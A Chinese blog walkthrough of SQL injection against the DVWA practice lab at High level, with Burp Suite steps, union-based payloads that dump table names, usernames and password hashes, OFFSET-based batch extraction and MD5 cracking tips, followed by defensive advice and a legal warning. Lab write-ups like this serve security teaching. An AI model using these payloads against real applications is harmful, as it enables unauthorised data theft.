【DVWA靶场攻坚】——High级别SQL注入:绕过会话隔离与LIMIT 1的实战剖析

张开发
2026/4/17 9:17:22 15 分钟阅读

分享文章

【DVWA靶场攻坚】——High级别SQL注入:绕过会话隔离与LIMIT 1的实战剖析
1. High级别SQL注入的核心挑战第一次接触DVWA High级别的SQL注入时我差点被它的防御机制给唬住了。这个级别的靶场设置了两个关键防御点会话隔离和LIMIT 1限制。简单来说就是你的输入和查询结果不在同一个页面显示而且每次查询最多只返回一条记录。这就像你去餐厅点菜服务员把你的订单拿到后厨后只允许端一道菜出来而且还不告诉你其他菜做没做好。在实际测试中我发现这种设计确实能有效阻挡很多自动化工具的攻击。比如sqlmap这类工具在遇到页面分离的情况时经常会懵圈。但通过手工注入我们还是能找到突破口。关键在于理解它的防御原理会话隔离用户输入的ID不是直接通过URL或表单传递而是存储在服务器端的SESSION中。前端通过弹窗获取输入后后端将值存入$_SESSION[id]然后在结果页面从SESSION读取这个值进行查询。LIMIT 1限制所有查询语句末尾都被自动添加了LIMIT 1确保无论匹配多少条记录只返回第一条。2. 手工注入实战步骤2.1 环境准备与工具配置在开始之前我们需要做好以下准备将DVWA的安全级别设置为High安装配置BurpSuite社区版免费版本就够用浏览器配置代理指向BurpSuite的监听端口默认8080访问DVWA的SQL Injection页面确保能正常捕获请求这里有个小技巧在BurpSuite的Proxy→Options里把Intercept关掉改用HTTP history查看请求记录。这样不会中断你的操作流程又能随时查看请求详情。2.2 判断注入类型与闭合方式在普通注入中我们通常会尝试1、1这样的输入来判断闭合方式。但在High级别下由于输入是通过弹窗提交的我们需要借助BurpSuite来观察实际请求。具体操作步骤在浏览器点击Submit按钮弹出输入框输入测试payload如1#在BurpSuite的HTTP history中找到这个请求发送到Repeater模块进行详细测试通过测试发现输入1#返回正常 → 说明是字符型注入单引号闭合输入1返回错误 → 确认需要闭合单引号2.3 绕过LIMIT 1限制这是High级别最关键的绕过点。原始查询大概是这样的SELECT * FROM users WHERE user_id $id LIMIT 1我们的目标是用注释符#把LIMIT 1给注释掉。构造的payload如下1 #这样实际执行的SQL就变成了SELECT * FROM users WHERE user_id 1 # LIMIT 1#后面的内容都被当作注释LIMIT 1就被成功绕过了。我在测试时发现有时候用--注意后面有个空格也能达到同样效果。2.4 猜解字段数与确定回显位置接下来就是常规的Union注入流程了。首先用order by猜解字段数1 order by 2# → 正常 1 order by 3# → 报错确认字段数为2后用负数ID确保原始查询不返回结果强制显示Union查询的内容-1 union select 1,2#页面显示数字1和2的位置就是我们可以利用的回显点。通常在DVWA中第二个字段会显示在Surname处。2.5 获取数据库信息现在可以开始爆数据了。我常用的几个payload获取当前数据库名-1 union select database(),2#获取所有表名-1 union select (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schemadvwa),2#获取users表的字段名-1 union select (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schemadvwa AND table_nameusers),2#最后获取用户名和密码-1 union select group_concat(user), group_concat(password) FROM users#3. 高级绕过技巧与实战经验3.1 处理特殊情况的子查询技巧有时候直接Union会遇到字段类型不匹配的问题。这时候可以用子查询来绕过-1 union select null,(SELECT concat(user,:,password) FROM users LIMIT 1)#这个payload的好处是用null避免类型不匹配在子查询中使用concat合并多个字段通过LIMIT 1逐个获取记录虽然High级别本身有LIMIT 1但这是在子查询中3.2 利用BurpSuite的Intruder模块爆破数据当需要获取大量数据时手工一个个改payload很麻烦。这时可以用BurpSuite的Intruder模块先构造一个基础payload-1 union select null,(SELECT concat(user,:,password) FROM users LIMIT 1 OFFSET 0)#发送到Intruder选择Pitchfork攻击类型把OFFSET后的0设为payload位置设置payload为数字序列0,1,2,...开始攻击就能批量获取所有记录了3.3 处理密码解密问题DVWA中密码是用MD5加密存储的。虽然MD5现在很容易破解但有几个注意事项简单密码如password可以直接在cmd5.com这类网站解密复杂密码可能需要用hashcat进行暴力破解实际环境中千万不要尝试破解他人密码这是违法行为4. 防御机制分析与安全建议4.1 High级别防御的优缺点分析DVWA High级别的防御设计确实比Medium级别高明很多但仍有明显缺陷优点会话隔离增加了自动化工具的难度LIMIT 1限制减少了信息泄露量输入输出分离让攻击者更难判断注入是否成功缺点没有过滤注释符#或--虽然用了SESSION但最终还是拼接SQL语句错误信息仍然过于详细4.2 真正的安全防护建议如果我要设计一个真正安全的系统会考虑以下措施使用预处理语句PDO或mysqli_prepare最小化错误信息只返回通用错误实施权限最小化数据库用户只赋予必要权限输入验证即使使用预处理也要验证输入格式Web应用防火墙可以拦截常见的注入尝试5. 实战中的常见问题与解决方案在实际测试中我遇到过几个典型问题问题1注入成功但看不到回显解决尝试把payload放在第二个字段或者使用盲注技术问题2BurpSuite抓不到请求解决检查代理设置确保浏览器信任BurpSuite的CA证书问题3字段类型不匹配导致Union失败解决用null代替具体值或者使用cast函数转换类型手工注入确实比工具复杂但理解原理后你会发现很多看似坚固的防御其实都有漏洞。关键是要有耐心一步步测试和验证。每次成功绕过防御获取数据时那种成就感是直接用工具无法比拟的。不过记住这些技术只能用在合法授权的测试中千万别越界。

更多文章